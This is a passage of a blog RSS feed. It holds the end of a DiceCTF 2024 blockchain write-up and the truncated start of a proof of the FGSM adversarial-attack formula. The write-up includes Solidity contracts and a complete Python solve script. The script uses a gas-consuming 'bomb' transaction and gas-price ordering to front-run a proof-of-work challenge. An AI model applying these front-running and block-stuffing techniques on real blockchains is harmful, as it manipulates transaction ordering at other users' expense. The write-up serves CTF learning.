&lt;td style=&quot;text-align: center; width: 13.4522%;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.6077%;&quot;&gt;expireChallenge()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.397%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;T+3&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 20.0972%;&quot;&gt;G+1&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 13.4522%;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.6077%;&quot;&gt;solveChallenge()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.397%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ordering result&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;execute order&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;tx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;bomb()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;mined&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+3&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;solveChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;expireChallenge ()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;By calling gas bomb, the strategy was to consume all the gas in a block, delaying the execution of transactions solveChallenge() and expireChallenge() to the next block.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;This means that by gaining the &lt;b&gt;10s&lt;/b&gt;, there is sufficient time to perform the square root calculation. &lt;br /&gt;&lt;br /&gt;However, in this case, solveChallenge() would throw a &quot;too late&quot; error,&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;To&amp;nbsp;leverage&amp;nbsp;the&amp;nbsp;fact&amp;nbsp;that&amp;nbsp;the&amp;nbsp;submission&amp;nbsp;order&amp;nbsp;and&amp;nbsp;execution&amp;nbsp;order&amp;nbsp;of&amp;nbsp;transactions&amp;nbsp;can&amp;nbsp;vary&amp;nbsp;based&amp;nbsp;on&amp;nbsp;gasPrice&amp;nbsp;and&amp;nbsp;gasLimit,&amp;nbsp;I&amp;nbsp;divided&amp;nbsp;the&amp;nbsp;solveChallenge()&amp;nbsp;process&amp;nbsp;into&amp;nbsp;two&amp;nbsp;steps.&lt;br /&gt;&lt;br /&gt;setStorage(): Update the storage variable to ensure that solveChallenge() is called successfully.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;callSolveChallenge(): Call&amp;nbsp;solveChallenge()&amp;nbsp;with&amp;nbsp;the&amp;nbsp;value&amp;nbsp;stored&amp;nbsp;in&amp;nbsp;the&amp;nbsp;storage&amp;nbsp;variable.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;In other words, by using bomb() to secure &lt;b&gt;10s&lt;/b&gt;, the last submitted transaction, setStorage(), will have the highest priority in the next block, ensuring the ideal execution order.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pending txs&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-style=&quot;style8&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;tx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;bomb()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;callSolveChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+3&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;expireChallenge()&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;T+4&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;G+1&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;setStorage()&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ordering result&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 71.7442%; height: 135px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;execute order&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;receive time&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;gas price&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;from&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;tx&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;gas&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;T+1&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;G+2&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;bomb()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;30,000,000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;mined&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;T+4&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;G+1&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;setStorage ()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;T&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;setChallenge()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;T+2&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;user&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;callSolveChallenge()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center; width: 19.449%;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 15.8833%;&quot;&gt;T+3&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.2625%;&quot;&gt;G&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 9.8865%;&quot;&gt;server&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 25.2836%;&quot;&gt;expireChallenge()&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 14.9109%;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3502&quot; data-origin-height=&quot;1055&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cZMz9K/btsEkRq1ALq/Ho2bUg43REpv0Q7GhxkUJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cZMz9K/btsEkRq1ALq/Ho2bUg43REpv0Q7GhxkUJk/img.png&quot; data-alt=&quot;tx submission timeline&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cZMz9K/btsEkRq1ALq/Ho2bUg43REpv0Q7GhxkUJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcZMz9K%2FbtsEkRq1ALq%2FHo2bUg43REpv0Q7GhxkUJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3502&quot; height=&quot;1055&quot; data-origin-width=&quot;3502&quot; data-origin-height=&quot;1055&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;tx submission timeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;solve&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The block explorer doesn't support selfdestruct().  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Bomb&lt;/p&gt;
&lt;pre id=&quot;code_1707053956952&quot; class=&quot;sol armasm&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Bomb {
    bytes st1;
    bytes st2;

    function adfgiuohdfghj(bytes calldata data) public {
        bytes memory mem = data;
        st1 = mem;
        st2 = mem;
    }

    function fjadsifnvadsiovaiosv() public {
        selfdestruct(payable(msg.sender));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Solver&lt;/p&gt;
&lt;pre id=&quot;code_1707054074280&quot; class=&quot;sol routeros&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solver {
    uint256 nonce;
    bytes mem;
    address target;

    function af9678d1() public {
        address payable addr = payable(msg.sender);
        selfdestruct(addr);
    }

    function ef8feqw8fd(uint256 _nonce, address _target, bytes calldata _mem) public {
        nonce = _nonce;
        mem = _mem;
        target = _target;
    }

    function sgert6789() public {
        ProofOfWork(target).solveChallenge(mem, nonce);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;solve.py&lt;/p&gt;
&lt;pre id=&quot;code_1707066234660&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import json
from solc import compile_source
import time
import gmpy2
from pwn import *
from eth_abi import encode

w3 = Web3(Web3.HTTPProvider(&quot;https://floordrop-rpc.hpmv.dev/&quot;))

#Check Connection
t=w3.is_connected()
print(t)

MODULUS = 2**44497-1

def sloth_root(x, p):
    exponent = (p + 1) // 4
    x = gmpy2.powmod(x, exponent, p)
    return int(x)

def solve_challenge(x):
    y = sloth_root(x, MODULUS)
    return y

# To avoid nonce duplicate
# fake private keys
prikey = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63bc'
prikey2 = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63bd'
prikey3 = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63be'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
PA2=w3.eth.account.from_key(prikey2)
PA3=w3.eth.account.from_key(prikey3)
myAddr=PA.address
myAddr2=PA2.address
myAddr3=PA3.address

nonce_1 = w3.eth.get_transaction_count(myAddr)
nonce_2 = w3.eth.get_transaction_count(myAddr2)
nonce_3 = w3.eth.get_transaction_count(myAddr3)
chainId = w3.eth.chain_id


r = remote(&quot;mc.ax&quot;, 32123)

r.sendlineafter(&quot;Please choose an option: &quot;, &quot;2&quot;)

r.recvuntil(&quot;Challenge contract deployed at &quot;)
cont_addr = r.recvuntil(&quot;\n&quot;)[:-1].decode()
r.recvuntil(&quot;Challenge nonce: &quot;)
nonce = int(r.recvuntil(&quot;\n&quot;)[:-1].decode(), 16)

r.recvuntil(&quot;The challenge will be set momentarily...&quot;)
time.sleep(8.8)


# bomb
calldata = &quot;be4ece18&quot; + encode(['bytes'], [b&quot;b&quot; * 0x10000]).hex()
func_call = {
    &quot;from&quot;: myAddr,
    &quot;to&quot;: &quot;0xFf8d2E9B697d5556b7fbC568a0E355475f8Dd36D&quot;,
    &quot;nonce&quot;: nonce_1,
    &quot;gasPrice&quot;: int(2000000016 + 10),
    &quot;value&quot;: 0,
    &quot;chainId&quot;: chainId,
    &quot;data&quot;: calldata,
    &quot;gas&quot;: 30000000
}
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
w3.eth.send_raw_transaction(signed_tx.rawTransaction)

# callSolveChallenge()
for i in range(5):
    calldata = &quot;8f93c394&quot;
    func_call = {
        &quot;from&quot;: myAddr3,
        &quot;to&quot;: &quot;0xCE3E75F8eBA5F77290a7F1B175C9820D38eb9F41&quot;,
        &quot;nonce&quot;: nonce_3 + i,
        &quot;gasPrice&quot;: 2000000016,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: chainId,
        &quot;data&quot;: calldata,
        &quot;gas&quot;: 1000000
    }
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey3)
    w3.eth.send_raw_transaction(signed_tx.rawTransaction)



r.recvuntil(&quot;Sent setChallenge transaction &quot;)
tx1 = r.recvuntil(&quot;;&quot;)[:-1]
raw1 = w3.eth.get_transaction(tx1.decode())
hint = raw1['input'][4:].hex()
chal = int(hint, 16)
sol = solve_challenge(chal)
answer = sol.to_bytes((sol.bit_length() + 7) // 8, 'big')

# setStorage()
calldata = &quot;c5a8a95b&quot; + encode(['uint256', 'address', 'bytes'], [nonce, cont_addr, answer]).hex()
func_call = {
    &quot;from&quot;: myAddr2,
    &quot;to&quot;: &quot;0xCE3E75F8eBA5F77290a7F1B175C9820D38eb9F41&quot;,
    &quot;nonce&quot;: nonce_2,
    &quot;gasPrice&quot;: 2000000016 + 5,
    &quot;value&quot;: 0,
    &quot;chainId&quot;: chainId,
    &quot;data&quot;: calldata,
    &quot;gas&quot;: 1040000
}
signed_tx = w3.eth.account.sign_transaction(func_call, prikey2)
w3.eth.send_raw_transaction(signed_tx.rawTransaction)

r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;dice{fr0ntrunn1ng_1s_n0t_ju5t_f0r_s4ndw1ch1ng_f8d9f834}&lt;/i&gt;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/181</guid>
      <comments>https://gss1.tistory.com/entry/DiceCTF-2024-Quals-floordropblockchain#entry181comment</comments>
      <pubDate>Mon, 5 Feb 2024 06:01:54 +0900</pubDate>
    </item>
    <item>
      <title>Fast Gradient Sign Method (FGSM attack) proof</title>
      <link>https://gss1.tistory.com/entry/Fast-Gradient-Sign-Method-FGSM-attack-proof</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;FGSM&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FGSM wants to move in the direction that crosses the boundary via &lt;b&gt;one&lt;/b&gt; jump like &lt;i&gt;one-gadget&lt;/i&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;506&quot; data-origin-height=&quot;415&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dBKoBn/btsAy7P5MsV/AOcfKR5wr4zOHa14grJjNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dBKoBn/btsAy7P5MsV/AOcfKR5wr4zOHa14grJjNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dBKoBn/btsAy7P5MsV/AOcfKR5wr4zOHa14grJjNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdBKoBn%2FbtsAy7P5MsV%2FAOcfKR5wr4zOHa14grJjNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;415&quot; data-origin-width=&quot;506&quot; data-origin-height=&quot;415&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ x'=x+r $, pertubated image, can be created by an equation:&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ x'=x+\epsilon \cdot sign(\nabla_{x} L(x, y)) $&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Although the attack code is easily implemented by few lines,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I think we should study why $ x+r $ can be expressed by the above equation in some constraints.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://pytorch.org/tutorials/beginner/fgsm_tutorial.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://pytorch.org/tutorials/beginner/fgsm_tutorial.html&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$$ \text{For an image } x \in \mathbb{R}^p \text{ and its correct label } y \in \{1,2,..., K\}, \newline \text{the untargeted FGSM can be defined as the following optimization problem:} \\[6pt] r^{*} \in \argmax_{r\in R^p} \ L(x, y)+r^{T}\nabla_{x} L(x, y) \ \text{subject to} \ ||r||_{\infty} \leq \epsilon \\[6pt] \text{where } \epsilon &amp;gt;0 \text{ is a hyperparameter and } L \text{ is the cross-entropy function.} \newline \text{Suppose that } L(x,y) \text{is continuously differentiable in terms of the first argument } x. \newline \text{Using the KKT conditions, show that the adversarial example } \newline x'=x+r^* \text{ is expressed by } x'=x+\epsilon \cdot sign(\nabla_{x} L(x, y)). $$ $ \boldsymbol{\mathbf{proof)}} $ $$ \text{The optimization problem we need to have to solve is as follows:} \\[6pt] \max_{r\in R^p} \ L(x+r, y) \ \text{subject to} \ ||r||_{\infty} \leq \epsilon \\[6pt] \text{Using the first-order Taylor approximation, the following equation can be expressed.} \\[6pt] \max_{r \in R^p} \ L(x, y)+r^{T}\nabla_{x} L(x, y) \ \text{subject to} \ ||r||_{\infty} \leq \epsilon \\[20pt] \text{Given that }||r||_\infty \text{ is defiend as } \max_{i} |r_{i}| \text{, the above problem can be express as follows:} \\[6pt] \max_{r \in R^p} \ L(x, y)+r^{T}\nabla_{x} L(x, y) \ \text{s.t.} \ r_{i} \leq \epsilon , \ \ r_{i} \leq -\epsilon \ , \ i=1,..., \ p\\[6pt] \text{Focusing on the specific term, we consider:} \\[6pt] \max_{r \in R^p} \ r^{T}\nabla_{x} L(x, y) \ \text{s.t.} \ r_{i} \leq \epsilon , \ \ r_{i} \leq -\epsilon ,\ i=1,..., \ p \\[20pt] \text{To employ the KKT conditions, we transform the problem into one of finding a} \newline \text{ local minimizer} \\[6pt] \min_{r \in R^p} \ -r^{T}\nabla_{x} L(x, y) \ \text{s.t.} \ r_{i} \leq \epsilon , \ \ r_{i} \leq -\epsilon ,\ i=1,..., \ p \\[20pt] \text{By converting the problem into the form of a Lagrangian function and examining}\newline \text{the KKT conditions, we can analyze the necessary conditions for optimality in the} \newline \text{presence of constraints.} \\[10pt] \mathcal{L(r,\alpha,\beta)}=\ -r^{T}\nabla_{x} L(x, y)-\sum^{p}_{i=1}{\alpha_{i}(\epsilon-r_{i}})-\sum^{p}_{i=1}{\beta_{i}(\epsilon+r_{i}}) \\[10pt] \left\{ \begin{aligned} &amp;amp; [\nabla\mathcal{L(r,\alpha,\beta)}]_i=-[\nabla_{x} L(x, y)]_i+\alpha_i-\beta_i=0 \ \cdots \text{Stationarity} \\ &amp;amp; -\epsilon \leq r_i \leq \epsilon \ \cdots \text{Feasibility} \\ &amp;amp; \alpha_i \geq 0, \ \beta_i \geq 0 \ \cdots \text{Dual Feasibility} \\ &amp;amp; \alpha_{i}(\epsilon-r_i)=0, \beta_{i}(\epsilon+r_i)=0 \ \ \cdots \text{Complementary Slackness} \end{aligned} \right. \\[10pt] \text{if} \ |r_i|&amp;lt;\epsilon, \text{then } \alpha_i=0, \ \beta_i=0. \Rightarrow -[\nabla_{x} L(x, y)]_i = 0 \\[6pt] \text{if} \ r_i=\epsilon, \text{then } \beta_i=0. \Rightarrow \alpha_i =[\nabla_{x} L(x, y)]_i \geq 0 \\[6pt] \text{if} \ r_i=-\epsilon, \text{then } \alpha_i=0. \Rightarrow \beta_i =-[\nabla_{x} L(x, y)]_i 